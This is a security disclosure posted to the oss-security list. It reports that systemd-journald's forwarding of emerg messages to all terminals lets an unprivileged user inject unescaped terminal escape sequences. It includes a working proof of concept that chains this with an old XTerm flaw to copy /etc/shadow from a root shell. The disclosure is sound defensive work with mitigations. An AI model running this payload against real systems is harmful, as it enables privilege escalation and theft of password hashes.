Message-ID: <20260407200906.14b9bcc0@riseup.net>
Date: Tue, 7 Apr 2026 20:09:06 -0400
From: Aaron Rainbolt <arraybolt3@...eup.net>
To: oss-security@...ts.openwall.com
Cc: adrelanos@...nix.org, arraybolt3@...il.com
Subject: systemd-journald in systemd 259 does not escape characters in emerg
 messages that are wall'd to other user's terminals

Going over this semi-briefly:

* systemd-journald is configured with the `ForwardToWall=yes` and
  `MaxWallLevel=emerg` settings by default in Ubuntu 26.04 pre-release
  images and Arch Linux. (I think this is because these are enabled by
  default in systemd upstream but haven't tried to verify this.) In my
  testing, this will result in systemd-journald copying emerg-level
  log messages to all logged-in TTYs and at least some root-owned PTYs
  (if any exist).
* Any user on the system can write an emerg-level log message using
  `logger -p emerg 'msg...'`.
* Potentially dangerous character sequences in log messages (like ANSI
  escape sequences) are not sanitized by systemd-journald before it
  prints those messages to other user's terminals.
* Therefore, one can use systemd-journald to write malicious things to
  other people's terminals, which can be used to exploit terminal
  emulator vulnerabilities. There have been vulnerabilities in
  terminal emulators like XTerm in the past that would allow this to
  be used to execute arbitrary code as root if someone is unlucky
  enough to have a PTY to a root shell open in a vulnerable terminal
  when an attacker writes their malicious log message.

An easy proof-of-concept for this (assuming your system has `sudo`
configured to allocate a new PTY) is:

1. Open two terminal windows as a non-root user.
2. In one terminal window, open a root shell by running `sudo -i`.
3. In the other terminal window, run
   `logger -p 'emerg' $'\033[31mHello!\033[0m'` as a non-root user.

You will see a wall message printed in the terminal emulator window
that you ran `sudo -i` in, with the word 'Hello' written in red.

A more involved proof-of-concept that demonstrates how this can be
used to escalate privileges is:

1. Compile a version of XTerm that is vulnerable to CVE-2022-45063.
   (XTerm patch #369 worked for me last time I tried this.)
2. Open two instances of XTerm at once as a non-root user.
3. In one XTerm window, open a root shell by running `sudo -i`.
4. In the other XTerm window, as a non-root user, run
   `pwned=$'\e]50;i$(cp /etc/shadow /home/user/shadow && chown user:user /home/user/shadow)\a\e]50;?\a\n'`
   (replacing 'user' with your non-root user's username where
   appropriate).
5. In the same non-root XTerm window, run
   `logger -p 'emerg' "$pwned"`. You should now have a copy of the
   system's shadow password file in your home directory, readable by
   your non-root user.

Affected users can mitigate this by setting `ForwardToWall=no` in
systemd-journald's configuration (`/etc/systemd/journald.conf`), or by
adding `systemd.journald.forward_to_wall=no` to their kernel command
line.

I discovered this while doing work for the Kicksecure and Whonix
projects. This bug was reported privately to upstream on December 23,
2025. As per Kicksecure's Vulnerability Disclosure Policy [1], we're

```
disclosing it publicly on April 7, 2026, 90 days + a 14-day grace
period later. An upstream bug report can be seen at [2].

--
Aaron

[1] https://www.kicksecure.com/wiki/Vulnerability_Disclosure_Policy
[2] https://github.com/systemd/systemd/issues/41549
```

Content of type "application/pgp-signature" **skipped**